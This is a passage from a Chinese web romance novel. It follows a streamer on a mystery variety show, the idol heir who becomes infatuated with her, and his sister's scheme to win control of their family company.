“呃……”邢葵从拐角处走出,“请问,《十万个问题》是在这里开会吗?” 工作人员们眼睛一亮,好漂亮的姑娘:“是的是的,你是?” 邢葵笑笑,梁昭然先前叮嘱过她,这季的《十万问》问题特殊,她需要对她的身份保密。 “你们好,叫我邢葵就好,我是四个代号嘉宾之一。” 时值冬季,邢葵穿着杏仁黄色羽绒小棉袄,搭配黑色牛仔裤和白色亮面小皮鞋,纯黑的手机壳边系了一条以绿色为主色的向日葵腕带。 看上去温温柔柔、清纯无害。 她不可能是额头有疤、又或背靠金主的“天天奇妙历险”,嘉宾中有一位代号“追梦芭蕾舞”,她更像是她——大多数人第一反应。 邢葵笑意不进眼底,才不要被乱造谣她的人猜出身份,你们就被蒙在鼓里吧。 她只对那位维护她的女pd发自内心地笑了笑。 唰地,一只杯子穿梭过她和女pd中央,砸向现场其他人,棕色的咖啡泼洒,嘈杂声瞬响。 “乱传谣言,你们想死?” 邢葵转头,星光闪耀的梁君赫疾步踏来,戴着墨镜,整个人白皙惹眼,他的经纪人和助理紧随其后。 “梁少爷。” “梁少爷。” “梁少爷。” 他是灵潮娱乐董事长儿子的事人尽皆知,他不好惹的脾气也人尽皆知,梁君赫一出现,那些嬉皮笑脸传播莫须有八卦的人恨不得穿越回去,将嘴都缝上。 邢葵看着那些人在梁君赫的威赫下苦哈哈认错道歉,压下嘴角笑意。 “你看什么看。”梁君赫瞪了她一眼,“上个综艺怎么还能遇到你,你还没放弃当艺人啊?” “我又没想遇到你。”邢葵嘟囔,问那个女pd,“请问人到齐了吗?还没的话我去个厕所。” “还没呢,还差两个。” “好,谢谢。”邢葵礼貌暂退。 梁君赫扯着嘴角,颇为嫌弃地盯了眼她离去的背影,侧头和经纪人道:“她真麻烦。” 某个没有摄像头的角落,两只白似牛奶的手捧住邢葵的脸,粉色的唇叼上邢葵嘴唇,深入探索,黏糊交缠。 邢葵“唔”了一声:“太重了,梁君赫!” “干什么!我都多少天没亲过你了!你知道我失眠多少天了吗!”梁君赫气呼呼地盯着她,有点像受了委屈的小狗。 第76章 昏暗的环境里,梁君赫清澈的桃花眼像覆着一层水,连说话语气都是委屈的,抬起她的手指摸眼眶。 “你看我的黑眼圈,说好的,你做我的褪黑素。” 事情还得从四个多月前中药后说起。 以下是梁君赫视角: 跟邢葵道完歉、又帮她再降了百分之一抽成后,梁君赫自以为能睡个安稳觉,停下吃东西,去洗澡换睡衣。 盘腿坐在床上诚心诚意地念了十遍招桃花咒语,梁君赫将他的居室各种招桃花物件望了又望,心满意足地闭眼后仰。 然后他翻来覆去睡不着。 怎么可能呢?邢葵怎么可能对他没反应?她是不是有毛病?什么眼光?要不带她上医院看看?有病得治不能讳疾忌医…… 爹的,梁君赫睁开眼睛吃了一颗褪黑素。 褪黑素是助眠保健品,能让人停下联想,强制关机。 梁君赫强行入睡,然后更恐怖的噩梦开始了。 梦里的人形象模糊,不仔细看是人形的雾,仔细看就化作邢葵,她冰凉的手指滑过他的脸庞,描摹他的轮廓,掠过喉结向下,拨弄。 衣衫里的纽扣被反复地玩,她却不像他一样脸红气喘,她眼神清醒,就看着他喘而不得,轻轻地、近乎嘲弄地笑。 “梁少爷,很喜欢被我弄嘛。” 这太他爹的惊悚了。 梁君赫第二天早上醒来久久不能回神,他想着,果真是褪黑素制造的噩梦,他怎么可能喜欢被邢葵弄。 然而后来,梁君赫不再吃褪黑素,他每天要么噩梦要么失眠。 他在梦里被邢葵弄,在现实躲避邢葵,一连数月精神紧绷,直到,现实世界的邢葵碰到了他。 仅仅几根手指的指腹,梁君赫如临大敌,当晚的梦境都提前一步在他脑海构建:邢葵按他,问他“梁少爷,最喜欢被哪根手指按啊”。 可是,那晚梁君赫睡了个好觉。 就好像,邢葵真实的触碰填补了他某处空白,他真想要被邢葵弄。 睡醒的梁君赫不敢信,又偷偷碰了邢葵几次做试验,最后饱受噩梦和失眠折磨的他,放弃挣扎,站到了邢葵眼前。 “喂,做我的褪黑素吧,你开价。” 每天碰一下,就能好眠…… 《十万个问题》开会大楼内,邢葵被梁君赫攥着手摸他的眼 眶,莞尔:“哪有黑眼圈,你就是想被碰吧。” 以下是邢葵视角: 邢葵很清楚,那晚的意外,以梁君赫性格,她表现得越轻松,越不在意,他越放不下。 反反复复想,甚至日有所思夜有所梦都有可能。 所以她故意冷了梁君赫一阵子,不主动联系,更不再继续尝试碰他,让时间燃烧火焰,带来她想要的结果。 约莫冷了两个月,上个月元旦节,灵潮娱乐开年终派对,邢葵在梁君赫取酒杯时,有意也去抓了那只酒杯。 指尖相碰,梁君赫倏地抽手,如惊弓之鸟。 她知道,大概率成了。 再之后,梁君赫做贼似的碰了她几回,向她提出交易,她点了头,念及时间短暂还不稳固,暂且没提“假恋爱”的条件。 不过快了,梁君赫提交易那会儿只说“碰”,应当只指简单碰碰手指,可后来他的胃口一天比一天大,有一天啄了她一下,第二天试起探索唇瓣内部。 “我才没有想被你碰。”梁君赫含含糊糊地反驳,“我这是因为中药有了心理阴影,我是生病了。” 他说着就又低下头来,捉住她的唇,“我这回轻点,在外面拍了半个月戏,我总睡不好觉,你有点爱心吧ok?” 梁君赫把她抵到墙,却又没真让她碰到墙,用一只手按着她的后背。 邢葵不重地咬了下他:“口红都要被你吃掉了!还要开会,对,你怎么肯跟周梨再次上同一个节目?” “不知道,别问我,我没脑子,想不通。” “?” 梁君赫彻底吃掉她的口红,翻她的包找口红,给她涂,眉头皱得像被筷子夹起来的煎饼皮。 “我都没问你为什么是周哥的车送你过来,你还问起我了,讨厌死你了,你个跟前男友牵扯不清的家伙。” 他和邢葵是前后脚到的大楼,撞见了车,邢葵心想,他要凑到车窗看一看,还能撞见另一个男人。 她夺过口红:“你又没资格问,梁少爷,擦擦嘴吧,我去会议室了。” 梁君赫熟练地掏出口袋湿纸巾,眼神晦暗,他刚尝过了,邢葵嘴里没薄荷味。 周哥没亲她,周哥要亲她也让他亲吗?烦死了她!就非要养鱼,鱼塘里只留他一条鱼不也挺好看的! 梁君赫越擦嘴越烦躁,明明天天奇妙历险就在这个节目里,明明天天奇妙历险就在这栋楼里,他却满脑子都是邢葵。 甚至梁昭然向他递合同,告诉他天天奇妙历险也上《十万问》时,他第一反应是拒接。 自从主动亲过邢葵,梁君赫就再没给天天发过消息。 直到听说邢葵也上,梁君赫才点头接下,她额头上的小疤做了次激光没了,但综艺镜头下,她言行举止稍有不慎都会挨骂,他上能抢走火力。 该死的,他为什么要考虑邢葵?不知道啊,他没脑子,想不通。 会议室内八位嘉宾到齐,综艺在开录前有它预期要达成的效果,总导演跟他们讨论着。 邢葵认真地听,这次节目是她头一回真正走到镜头前,对她的未来无疑重要,她为此还补看了《十万个问题》前面所有季,全面分析。 《十万问》近年热度下滑,这一季上面领导发过话,还没水花就要被砍掉,因而整个制作团队卯足劲。 争议性的嘉宾人选在网络掀起第一波热度,网友猜测梁君赫周梨是否要复刻《走去看》双逃跑事件,猜测天天奇妙历险真容,猜测这一季的主题。 而这一季的主题将超过网友想象。 因为不止一个问题,是整整八个。 每一个问题的答案对应一个人,总导演说着,希望他们在录制时做出一些误导,增加推理上的趣味性。 开完会,每位嘉宾还要和各自的跟拍导演,简称pd,单独开小会。 邢葵站起来,除她和周梨,还有两位女嘉宾,一个名字里有“天”,一个额头上有疤痕,节目组真会搞事。 见pd,负责邢葵的恰是那位为天天说话的女pd,对方有些惊讶:“邢老师好,叫我小嘉就行,目前只有总导演和我清楚老师的身份。” “老师”的称呼让邢葵浑身起鸡皮疙瘩,知道这是圈子里的习惯,友好地笑:“接下来几天麻烦你了。” “不麻烦不麻烦,有几件事要跟你商量一下。” 小嘉和她讲解,《十万问》并不设严格的剧本,但为了播出效果,会向嘉宾提一些基本建议。 她讲了几点,最关键的一点:“我们预计,大家会猜测您是代号‘追梦芭蕾舞’或‘元气向日葵’,拍摄期间会问问题,期望老师在作答时适当模糊答案,向这两个身份靠拢。” “我理解。”邢葵思考,想必另外几位嘉宾也在被要求同样的事,那位名字里含“天”字,和那位额头带疤的,应该也会向她靠。 非常合理,推理类综艺,倘若别人一问嘉宾就直白回复,那还有什么看点。 小会也开完,邢葵和小嘉告别,出门,撞见总导演在楼梯前打电话,一惊一乍的。 “什么?独家冠名的赞助商换人了?什么?加一百万奖金?什么!一千万!” 邢葵不由竖起耳朵听,好像是新来的赞助商出手阔绰,节目本身有线上推理环节,但设置的奖励最高也只是豪华旅行,价值一万元。 赞助商直接加了三个零,第一位猜对八个问题答案的网友将获得一百万大奖,其他参与人将按照猜对率瓜分一千万奖池。 总导演的嘴角拉得好比弯弯的鱼钩,邢葵也按住唇边,毫无疑问一千一百万奖金将点燃人们谈论的热情。 “在窃喜呢?”梁君赫声音不悦地从她身后走来,气压低低的,“我说你也真笨,取个‘元气向日葵’指向性这么强的代号,这样谁猜不到是你?” “……”有没有可能笨瓜是你呢? 邢葵默,一旁明了邢葵身份、在打电话的总导演也默:“梁少爷开完会了?你们聊,我有电话我就先走了。” 他跑了,留下邢葵一人,小嘉pd叮嘱过,开拍前她不得跟任何嘉宾泄露身份,于是她只好看着倨傲的梁君赫,低声叹了口气。 “你嫌我多嘴,我作为综艺前辈在教你懂不懂?你身上都没个看点怎么火,这样吧,谁让我心好,待会儿我送你回公司,在路上教教你。” 还想亲是吧,算盘珠子都蹦邢葵脸上了:“不方便,梁少爷,我有车。” 梁君赫呼吸一促,周哥既接又送,一个律师当司机,一点都不敬业! “那我就在这里教,上了节目后你别表现出元气,邢葵!我跟你说话你玩手机!” “不是,我听着呢,刚周梨给我发了很多消息,我就扫一眼。” 周梨发了四五张“哭哭”表情包,她的pd说,天天奇妙历险在账号上隐晦地提到过她,她不能和天天表现过熟。 邢葵看向气呼呼的梁君赫,“你别提早焦虑了,你猜得又不一定对。” 梁君赫冷哼:“谁焦虑了……什么叫我猜得不一定对,你不是‘元气向日葵’还能是谁?等等……” 他拖长了尾音,似沉思,就在邢葵以为他猜出答案想紧急弥补下时,梁君赫身躯一震,“你是‘追梦芭蕾舞’?” “……” 打探的视线落到邢葵腿上,他振振有词:“你被车撞伤过腿,我听许野说,他第一次见你,你还坐着轮椅,没错,你真有可能是‘追梦芭蕾舞’!” 邢葵抵 了下额头:“梁少爷,您真是有理有据,我特别佩服,那么拜拜,期待您在节目里能找出我的身份。” “呵。”梁君赫按电梯,戴上墨镜,“我凭什么关注你,你好猜得一塌糊涂,我要猜就猜有难度的。” 邢葵瞄了瞄黑漆漆的墨镜,就他这智商,八个问题除了他对应的那个,每一个都有难度吧。 墨镜上大楼外雪花倒影,白雪簌簌地下着,于三月一日终于停下,天际浅蓝,《十万个问题》第十季正式开录,并全网同步官宣千万奖金和“八大问题”: 谁差点自杀? 谁会十国外语? 谁和年龄差十三岁的人谈过恋爱? 谁在某抖有单个播放量破亿视频? 谁是“追梦芭蕾舞”? 谁是“元气向日葵”? 谁是“红遍全宇宙”? 谁是“天天奇妙历险”? 热评第一:【千万奖金我来了!!!】 热评第二:【我靠!我发现一个盲点!节目组只说一个问题对应一个人,是不是没说,八个问题,一定对应八个人。】 【也就是说,“天天奇妙历险”不一定是那四个非明星啊。】 第77章 正驶往录制公寓的保姆车里,梁君赫也在看节目组微博评价,以他的脑子看不懂热评说的东西,皱起眉,幸好楼中楼有详细解释。 八个问题、八个嘉宾,从表面看应当一一对应,然而,节目组只说,一个问题的“解”只有一个,不代表多个问题的“解”不能是同一个。 问题一和问题二乃至问题八的答案,都可能是同一位嘉宾。 有人问:【怎么会呢?就算是这样,前四个问题不肯定在明星里找、后面四个问题不肯定是哪几个非明星吗?】 不对,节目组玩了个文字游戏,甚至从官宣嘉宾时就在玩文字游戏。 官宣这一季总共八个嘉宾,然后官宣了四个明星加四个代号,可没说八个嘉宾=四个明星+四个代号。 换言之,明星也可能是代号皮下。 再直接点说,每一个问题都要在八位嘉宾里找答案。 楼中楼拿“谁是天天奇妙历险”这个问题举了例,这个问题是唯一一个能排除嘉宾的,因为“天天奇妙历险”虽从不露脸,但她十成十是位女性。 原本,只要在非明星的两位女嘉宾中找她,可如果明星也或许有代号,两个女艺人,周梨和姜天玥,也保不定是“天天奇妙历险”。 【好恐怖!我押一个姜天玥,名字就像,她本身也有娱乐圈冒险家的绰号?】 【对啊车祸留疤等等可能是编的,不是编的,车祸也能瞒着公众,前些年谁孩子生下来两年了不也藏得严严实实?疤能激光,明星有的是钱。】 【八个问题好难猜啊,不过“谁是天天奇妙历险”应该是最好猜的了,总共就四名女性。】 【我猜是周梨!也不好说,不知道另两个非明星女嘉宾什么情况。】 梁君赫扯起嘴角啧了声,网上这些人真是的,中了节目组的烟雾弹,想想也不可能是周梨,姜天玥还有可能。 也不关注下“追梦芭蕾舞”和“元气向日葵”,邢葵咋办,她那么想红,咦?难道她是“红遍全宇宙”? “梁老师,这回参加《十万问》紧张吗?”车上,采访的人问道。 梁君赫想起他在公司,偷看到邢葵对着镜子练表情:“别人比我紧张。” “那梁老师,八个问题,你最好奇哪个问题呢?” 那取决于邢葵是“追梦芭蕾舞”、“元气向日葵”还是“红遍全宇宙”。 梁君赫是这一季最大流量,他好奇的问题能牵引网友视线,但他也弄不清答案:“不知道,别人好奇什么我就不好奇什么。” 行驶的另一辆保姆车内,邢葵面对同样的问题,心十分紧张地跳,露出练习过的浅笑。 电视屏幕里,邢葵笑答:“好奇谁会讲十国外语,好厉害,语言系统不会乱掉吗?” 邢葵窝在沙发上,手挡着脸,从指缝里看播出的第一期,《十万问》总共四期,每周一录制,每周日更新,共拍四周四天,现在是第一周周日中午十二点,第一期播出。 “快帮我瞧瞧我有没有笑错?”邢葵惴惴不安,偏过头避免直视屏幕,向切完菠萝回来的周镜招手。 “怎么不问我?我就在你身旁。”左边,江玉鸣轻挑地靠到她肩头,穿着白衬衫,领口大开,一身艳气。 “问你我用脚想都清楚什么回答,别碰我的脚!它不会说话,我就夸张一下。”邢葵挣开江玉鸣长指,去接周镜递给她的盘子,拿牙签扎菠萝,“还是你好。” 周镜坐到她右边:“嗯。” “你‘嗯’?”江玉鸣在左边眉一挑,抱住邢葵肩膀,像进谗言的妖妃,“你看他,我就不信他不想摸,人面兽心,比不得我真诚坦率。” 周镜淡淡地瞥了他一眼:“闭嘴,葵葵要看视频。” 江玉鸣脸一僵,接着向他翻了个白眼:“就知道唱白脸。” 邢葵发笑,周镜摸摸她头发:“你笑得很好看,弹幕都在夸你。” “是,弹幕盲猜你是芭蕾舞,看到你的姓名又猜你是向日葵。”江玉鸣抢着道,“效果不错呢。” 邢葵不敢放松,继续看电视,江玉鸣临时有病人要先走,捧着她的脸摸了几下,警告周镜:“葵葵明天还要录节目,别引诱她。” 周镜冷静:“你当谁都是你?” 江玉鸣哂笑:“反正我没将葵葵嘴亲肿过。” 邢葵默默捂住耳朵,两位优质男似很满意当下的状态,她单身、成年,难挡主动的诱惑,更不会如恋爱期般轰他们出门。 “和梁君赫还是老样子吗?”江玉鸣走后,周镜坐得离她近了些。 “嗯,他一边讨厌我一边喜欢和我碰,和预计的一样,就是,偶尔我觉得怪怪的。” 当然了,周镜不动声色,毕竟梁君赫是真喜欢邢葵,而非浅薄的生理性,周镜耐心地在等江玉鸣翻车,看他到时候怎么笑。 “不说了,看节目,我有个粉丝与我失联,她同时也是梁君赫的粉丝,兴许她也会看节目。” 邢葵扎起一块菠萝,小惹大概从和她讲家庭问题的那晚起,就再没叫过她“老婆”,后来也很少发信息,就好像她在生活中遇到了重大变故,再后来发了一条“命运弄人”,就彻底失了联。 小惹还好吗?她和她的偶像一起上节目啦,希望小惹看到会开心。 不过……第一期的风向,小惹看到真的会开心吗?一条嗑cp的弹幕飘过,又一条嗑cp的弹幕飘过……邢葵的唇停在菠萝前,咬不下去。 节目分为三部分。早期嘉宾陆续到场交流,该阶段嘉宾可以任意撒谎; 中期做三场游戏,每场游戏赢家能随意问另一位嘉宾或节目组一个问题,且被提问方必须说真话; 之后晚上,嘉宾自由讨论,并依次进入小房间提交八个问题答案。 【我怎么感觉梁少爷和邢葵有点能嗑……】 【你不是一个人,抢玩偶那里,梁少爷负责背邢葵,一边骂骂咧咧一边蹲下来,邢葵上去他还很自然地捞住了她的膝弯,顶锅盖说一句,我嗑到了。】 【众所周知梁少爷没有绅士风度(详见《快来吧》第三季第五期,梁少爷怒泼队友水),他面对邢葵的时候竟然有!】 【缺德乐子人是我,本来我要嗑梁少爷和天天奇妙历险的,天天曾在梁少爷被黑时替他讲过话,谁知垂直跳进梁少爷和向日葵的坑啊!】 【cp名已想好,不“梁”于“邢”(不良于行),指梁少爷一见邢葵走不动道!】 也有反对声,除了cp上的争执,越来越多的人加入八大问题答案的讨论。 开播前,人们认为“谁是天天奇妙历险”最好猜;开播后,那名头上有疤的姑娘在被问“有没有经历过事故时”回答了是,可天天账号里曾隐晦提及过的周梨,却跟名字里带“天”的姜天玥言来语去。 网友为答案争吵不休,各大平台爆帖频出。 到了第三期录制前夕,即使如今才新的一年三月份,全网已默认《十万个问题》第十季将是今年最爆综艺。 这一晚厉乘川睡不着觉,他额外注资设了一千一百万奖金,可没让网友嗑邢葵和别人的cp。 这一晚也有位意想不到的人睡不着觉,一台平板被扔到茶几,灵潮娱乐的董事长梁兴业脸臭得像哥布林。 “把这个邢葵从节目里弄出来。” “爸,她是我要捧的人。”梁昭然毕恭毕敬地站在茶几另一面,低着发扎成丸子的头,“有越多的人关注她,我们梁家能挣到越多的钱。” “那你就看着她和你弟弟眉来眼去?”梁父音量猛地提高,苍老的手指重重点在平板上,点在cp粉截的嗑糖图上。 梁昭然望了眼,眉头凝了凝,显出少许为难:“这对小赫的事业也有好处,最近他的口碑明显上升。” “你说什么?”梁父深吸了一口气,继而,大力一拍平板,整张茶几桌都颤起来。 他老迈的眼睛锐利凶狠,“我容他去当明星,是让他玩几年,顺便了解了解圈子上下,当明星不是他的事业!他迟早要接手梁家,我绝不容许他跟一个背景普通的女子牵扯不清。 我要这个邢葵 ,离你弟弟,离我儿子,远远的,听到没?” 梁昭然一只手缓缓捏成拳,低头:“知道了,爸。” 她脸色铁青地坐上梁家祖宅外停放的车,驾驶座上,她从幼儿园下班的丈夫正在等她。 梁姐夫安静地注视着妻子,一秒、两秒……梁昭然忽地弯起唇角露笑,靠到车椅,清冷的面容上笑意恣意蔓延。 “他让我赶走邢葵,以小赫性格,越被阻碍越会闹,我要成了,喻海。” 梁姐夫喻海仍旧安静倾听,梁昭然笑得放肆,“你说,凭什么公司是儿子不能是女儿的?你说啊,凭什么?” 她俯身扯住梁姐夫衣领,情绪激动,“多年前他甚至还想将我嫁出去!” 多年前,梁父想安排梁昭然嫁给周镜。 “嫁出去我就没有继承权了,所以我花钱买了你一辈子。”梁昭然不屑一顾,“小赫居然还以为我俩是爱情,天真。” 梁姐夫唇瓣抿了抿:“正是因为他天真,才有了你的计划不是么?” 月光皎洁,录到第三期,邢葵从容了许多,对流程也滚瓜烂熟,游戏、提问、讨论、作答,她用心对待每个环节。 第三期录完已是深夜,到目前为止,没一个嘉宾猜中她的真实身份,姜天玥和疤痕女的存在极大误导了作答。 网上总体也没猜到,邢葵那些碎嘴亲戚们不看综艺,年纪小的,可能有几个会刷到,但要么不清楚她的事,要么一两个人的声音掀不起浪花,因为姜天玥和疤痕女也没少有小学同学、同事出来信誓旦旦地说她们就是天天。 总之,邢葵非常期待下一期身份公开后她的收获。 小嘉pd找她说要后采,化妆镜前,邢葵擦拭着脸上白天玩游戏时沾到的颜料,转过头:“后采?不是采过了吗?” “导演联系我要补录一条。” 这在综艺制作中是很寻常的事,邢葵将湿纸巾扔到垃圾桶:“好哦。” 凌晨一点,她生理上困倦,精神上却亢奋,十指交叉抻抻手臂,又拍拍脸,尽量保持良好状态,走进后采的房间。 一进去,梁昭然站在窗前转过身,面色颓唐,像遭遇了一件难事,神容透着抱歉、内疚的感觉。 她递来一份文件:“很遗憾,恐怕你不能再录下去了,这是违约合同,灵潮会赔偿你的一切损失。” 邢葵:“什么意思?” 梁君赫也在想,什么意思?邢葵刚过来时,路过他的化妆间,他见到便也跟了过来,正在门外偷听,听了一句话就想推门而入。 梁昭然的回答止住他:“说来惭愧,还是我家那些事,我父亲希望小赫娶周梨,他看见了网上评论,他希望,你能远离他。” 梁君赫猝地握紧拳头,想直接将门捶开,他家老头子平时向他们姐弟说说封建话也就罢了,凭什么难为邢葵啊?她那么想火,她才刚火。 室内,梁昭然满脸歉然,实则对梁君赫就在门外心知肚明,她要梁君赫去跟梁父闹,闹到决裂,这样梁家就不得不给她。 成功就在眼前,梁昭然竭力控制着五官,不让兴奋外露。 邢葵却比她先笑:“恐怕不能如你的意,梁总,利用梁君赫不关我的事,这是你第二次伤害我的利益。” 她目光灼灼,好似早就看透了梁昭然,又一次止住门外梁君赫的动作。 梁昭然有一瞬间慌乱,很快恢复:“邢葵,我知道你此刻心中愤怒,不要乱咬人。” “咬人的是谁啊?梁总。”邢葵反问,“去年,我要签约,梁君赫不同意,你身为一位理智多谋的领导,竟就听他的不同意,逼我去见他。” 那是梁昭然第一次用伤害邢葵的利益来达成目的。 “再然后,梁君赫中药,你将周梨和他关在一处,表面是迫于你父亲压力,可实际上,你一没收走周梨手机,让她能联系手下,二就将我和他们安排在同一家酒店。 那天我要求你降抽成,你当我胆子那么大敢威胁我的老板吗?我只是清楚你一定会答应,因为我对你很有用,加上生你的气,所以才讨一讨利益。” 邢葵抬高梁昭然递给她的违约合同,“人活在世,有时要糊涂些才能快乐,我权当不知,可你还来第二次。” 她撕开合同,“综艺,我会录完,梁父那边你去处理,否则我会去跟他聊一聊。 另外,我把话跟你说白了吧,你们家的事我半点都不想涉入,梁君赫对我也有用,我继续和他相处,或许也能助你达成目的,别多余惹我。” “你!”嘭地,门被双手推开,梁君赫怒气冲冲,两眼滚着小珍珠,“我每天担心你挨骂,你不关心我还想利用我!” 邢葵懵了一瞬:“你——”梁君赫不是超讨厌她吗? 娇娇小王子扭头就跑,几秒后又跑回来,看着梁昭然:“爸那边姐快点解决。” 他又跑了。 凌晨三点,辗转难眠的梁君赫夺命连环call许野,各种骂他没眼光。 邢葵不关心他家的事,邢葵也想利用他。 “邢葵!讨厌鬼邢葵!她怎就不像天天奇妙历险一样温柔!” 许野坐到床边,听了半个小时,知道,是时候了。 “梁君赫,自你姐结婚起,你多少年没动过脑子了?你真就猜不到,天天奇妙历险,就是邢葵吗?” 第78章 床边,许野明显是在睡眠中被吵醒,手撑着额头,落在指背的发丝毛毛躁躁,褐瞳往下看,视线没有固定落点。 他的落点在过她的人生。 “你乱讲什么!”数码设备柔化梁君赫的音色,可依然盖不住他语气中的愤怒,他人没从床上跳起来,声音却已跳到了天花板。 许野通常不会打断他,但这一回例外,他恋爱时哥哥们东拦西阻、碍上碍下,也该轮到他给哥哥们找不痛快。 “去年四月,周哥和邢葵交往,你梁君赫亲口说过,他日你恋爱绝不会隐瞒兄弟,从追开始就一条条汇报,可后来你遇到天天奇妙历险,你说了吗?” 没有,梁君赫违背了他录下的音,这代表,或许,他潜意识中早就将天天奇妙历险和邢葵画等号。 “你乱讲什么!”梁君赫重复他的反驳,仿佛他脑袋空空,想不出犀利词句,只会一味重复,“我又没追天天!天天怎么会是邢葵?你随便乱讲!” “是真是假你动动你的脑子想想就能确定答案,一个二十岁就精通十国外语的人,会没有脑子吗?” 许野反问道,他和梁君赫常被认为智商情商半斤八两,可他才不像梁君赫能学会那么多外语。 梁君赫目光愤怒,原本就睡不着觉,这下他更睡不着,直接从床上跳下去:“反正你最没脑子!天天和邢葵从疤痕到性格没一处相似,不可能是同一人,别造谣了!” 他挂断电话,力道之大近乎于捶,粉色的发丝在疾步行走中一跳一跳。 打电话给许野是发泄,梁君赫却在许野那儿滚了一趟沸热岩浆,他要再换一个人发泄。 三月份桃花盛开,夜空下的桃树褪去白昼梦幻甜美,粉色的花配黑色的景,显得清冷寂寥。 “院子中央这棵树是小赫前几年闹着种的,原先,这里生长着一棵罗汉松,是爸的最爱。” 高楼上,梁昭然端着酒杯,杯子里金棕色的酒只剩底部一层,冰冷讥笑,“可是小赫要种,爸急赤白脸和他吵了一架,几个小时后就叫人将罗汉松移走。” 室内桌边,梁姐夫在准备教案,梁昭然临时要搬到主宅住,他有些工作没做完:“怎么了?事情顺利吗?” 梁昭然捏着杯脚:“不顺利,邢葵看穿了我。” 梁姐夫稍愕:“那你要解决掉她吗?” “我觉得她很奇怪,我一直在撮合她和小赫,她明明早就看穿,却一直毫无表现。” 窗边梁昭然转过身,眉心皱得能夹死苍蝇,“她早就看穿我想夺权,却不阻止,她甚至跟我挑明后,也不打算阻止。” 梁家重男轻女,梁君赫 都没接触过公司事务,他却是梁父认定的继承人。 对此,梁昭然不甘心,雇人契约结婚也要留在梁家谋夺王权,期间也有人理解她,她有一批对她忠诚的手下,可邢葵和那些人不一样。 她是被利用着的人,当今社会崇尚利己主义,A对B好九十九次,只要一次惹到B,从前的好一夜全无,B恨不得A去死。 而邢葵被利用着,梁昭然都未纯粹地对她好过一次,她居然也没站到她的对立面。 “我可能做错了,喻海,邢葵人,挺不错的,我也许不该将她牵扯进我们家的烂事里。” “少爷!少爷不要啊少爷!” 楼下传来惊呼声,几名佣人阻拦着梁君赫,从上往下看他粉色的头发像粉色水母,正因遇到了敌人而跳动着。 他精瘦的手臂环着许多杯具,是梁父的东西,梁父站在门口,脸色青一阵红一阵,父子二人看上去刚有一番不小的争执。 “他不是爱摔吗?我都给他摔了!” 梁君赫扔下一只杯子,又扔下一只,哐嚓的声音此起彼伏,梁父气得两只老眼要喷出火。 而梁君赫还在火上添油。 “什么年代了还玩男子才有资格继承那套,爸!落后要被挨打,像你这种要被全网打!” 有那么一个瞬间,楼上的梁昭然感觉梁君赫看了下她,她本能地后退。 突然搬回老宅住,梁昭然就是担心,偷听到真相的梁君赫会来找梁父揭穿她。 “我就要当明星!你管我和谁谈恋爱和谁结婚,你管一次我砸你杯具一次!我就要当明星!呼~” 梁君赫气势汹汹地撂完狠话,拨了一把头发,发泄完毕似的舒气,状态也轻快起来。 “走了,你们几个。”他指那几位拦他的佣人,“大半夜加班也不容易,明早找管家领奖金。” “谢谢少爷!” “少爷慢走!” 看样子,梁君赫并未揭露梁昭然所作所为,甚至,他还依她设想和梁父吵闹。 梁昭然抓着酒杯,有些怔神,仰头喝起杯中辛辣的酒。 事实上,梁昭然要引父子决裂的计划从去年逮到逃跑的梁君赫那一天就在成形。 那天的梁君赫刷到天天奇妙历险,过于激动,喊出了邢葵账号名。 梁昭然表面常劝弟弟别天真、别让爸失望,暗地却记住这个id,更为将天天引到梁君赫身边创了一家MCN。 兆光文化,初创公司,于邢葵和许野分手几个月前创立,恰是梁君赫关注到天天的时间点。 当然,梁昭然自不是做赔本生意的傻子,她有衡量过网红行业前景和邢葵的潜力,届时计划不成,兆光和邢葵也能成为她的摇钱树。 这场计划中,邢葵和梁君赫都在被她算计,然而,两人惊人地立场一致,都未阻碍梁昭然得到她配得的位置。 “我弟弟,和邢葵,还挺配的。” 梁昭然唇角微弯起弧度,笑容中添了分真心。 邢葵本尊表示苦恼,录完节目加上梁昭然耽搁,已经很晚,她便没回去,找了家酒店暂住。 天都变成暗蓝色她还睡不着,坐起点外卖,找药房买褪黑素,不是,梁君赫怎么会超过生理性地喜欢她? 脑海中,梁君赫闯进她和梁昭然的交锋中、要哭的娇娇模样不断重现。 那副状态绝不止生理性,可梁君赫要不止生理性,那他要的就是真恋爱、真结婚,那邢葵的假恋爱计划不就夭折了吗? 邢葵伸了伸手指,费解地歪头,她就没做过动摇梁君赫心的举动,平常梁昭然愁眉苦脸一副有心事的样子,想骗她问,她都当看不见的。 天地良心,她这双手只拨过梁君赫的纽扣,没拨过梁君赫的心! 坐在床上,邢葵抱住头发愁,家家有本难念的经,一直以来,她在寻觅催婚解决法的同时,也在遇见不同的家庭。 周镜,他出身簪缨之家,一家学富五车,从政的、从法的,不限男女,全家善良公正,宽容待世。 所以他们能好心收养周梨,在周镜误走歧路时也未实施棍棒教育。 只是,被包容的周梨无止境地喧腾,也使周镜的世界暗灰无彩。 而许野,他的母亲谢成雯来自书香门第,年轻时丧夫,一人在男尊女卑的董事会打出天下。 所以谢成雯能开放地支持许野喜好,更提出儿媳继承制,毫不芥蒂邢葵年纪、性别。 只是,她也无法说服董事会老古董,需求邢葵假装答应生个儿子,将继承权还给许姓。 这两个家庭各有问题,总体仍算美好,但梁君赫家,邢葵打了个哆嗦,简直是她各种亲戚家庭的有钱翻版。 梁君赫比梁昭然岁数小不少,大概率是被追生出来的“耀祖”。 邢葵不会因为家庭就对一个人有偏见,可真心话她也没对梁君赫讲过啊,梁君赫哪来的点喜欢她! 不管怎样,明天先跟梁君赫道个歉吧,假如只有生理性喜欢,那她和梁君赫是“你需要、我提供”的等价交易,如今,叫邢葵头大。 结果,后面一周邢葵头一天比一天大,梁君赫总避着她,就是不肯给她说话机会。 她尝试在微信里说,梁君赫回了一句:【已加黑名单,发什么我都看不见,勿扰。】 根本没有好吧!梁君赫铁了心结成冰,邢葵只好等到《十万问》第四期录制。 第四期即最终期,昨天第三期播出后节目热度再创新高,邢葵到达录制地时,所见每一个人都开眉笑眼,除了梁君赫那块冰。 邢葵无奈,她已经想好了,假恋爱计划确定夭折,她也没喜欢上梁君赫和他真恋爱的念头,今天和梁君赫道完歉就跟他终止褪黑素交易,她要及时止损找新人。 “哼。”发现邢葵在看她,梁君赫傲娇地撇过头。 别指望他和她化冰,除非她是天天奇妙历险。 她怎么可能是?许野那个笨蛋,竟然说他没动脑,他今日就动动脑子给他看看。 邢葵注意到梁君赫移开眼又偷瞧她的小动作,网上嗑她和梁君赫cp的路人与日俱增,她也偶然刷到过一些糖点。 原来不是网友拿放大镜硬嗑啊,梁君赫真对她不一样。 一明了梁君赫心意,邢葵平日未加关注的细节也清晰起来。 